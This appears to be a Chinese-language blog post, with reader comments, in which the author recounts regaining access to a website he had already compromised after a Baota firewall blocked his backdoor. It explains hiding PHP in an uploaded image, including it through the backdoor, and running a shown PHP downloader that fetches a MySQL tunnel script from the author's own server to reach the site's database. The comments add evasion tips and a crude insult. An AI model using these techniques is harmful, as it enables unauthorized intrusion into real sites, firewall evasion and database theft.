之前搞下某站,当时他没有开防火墙,导致我直接getshell。
今天突然还想上去看看,发现他开了宝塔防火墙,导致我留的后门失效,菜刀无法连接了。尝试之前的漏洞上传PHP失败,被拦截。
如上图,如果我直接执行一些危险的PHP函数,如phpinfo();
都是直接被拦截掉了。。。而执行有的函数,还是可以执行的,那么相当于我还有一点点权限。
遇到这种情况,被防火墙拦截,我第一时间想到的就是文件包含,
将phpinfo(); 复制到一张图片中。然后前台上传图片,然后在利用我的后门包含尝试。
成功包含,这里我们直接传个一句话图片马包含就行,但是目测结果同样会被拦截POST请求。
我不需要进菜刀,我只是需要进下数据库,因此我的目的是将 ntunnel_mysql.php 弄上去,但是因为我后门本身就需要提交POST,如果在包含 ntunnel_mysql.php 这个文件也需要请求POST,他们彼此冲突,所以不能直接包含,这里我换了一种方式,直接远程下载。
$filename, 'save_path' => $save_dir . $filename ); } $url = "https://www.mrwu.red/ntunnel_mysql.txt"; $save_dir = "/www/xx/xx/xx/xx/xx/06/"; $filename = "test.php"; $res = getFile($url, $save_dir, $filename, 1); var_dump($res); ?>
利用上方代码,远程下载文件,并且保存,这样就可以成为一个独立的PHP文件,不会再POST冲突。
大概流程,将上方代码和图片合并,然后上传图片,然后在用后门包含这个文件,他会直接下载保存。
这个小技巧很多人都懂,送给新手们,大佬漂过。
本文作者为Mr.Wu,转载请注明,尊守博主劳动成果!
由于经常折腾代码,可能会导致个别文章内容显示错位或者别的 BUG 影响阅读; 如发现请在该文章下留言告知于我,thank you !
老弟,直接上传免杀得马儿打一个HTTP隧道试过没有?
@Mrxn老哥,你可能没注意到这个限制,
上传文件处存在<code>php</code>后缀的白名单,所以这个上传点可以直接上传PHP文件。
但是由于宝塔的防火墙,对PHP后缀上传进行了拦截,他是拦截的PHP后缀,而不是拦截的上传的内容,因此和免杀不搭边的。
另外你说的<code>打一个HTTP隧道</code>这是什么姿势?求细节,学习一波
@Mr.Wu图片马是怎么访问的啊,Q610080123 我的 有偿
@cuimin520本文已经写的非常清晰明了了,你可以多看看
@cuimin520q个鸡吧你 图片吗怎么访问 笑死 不认字吗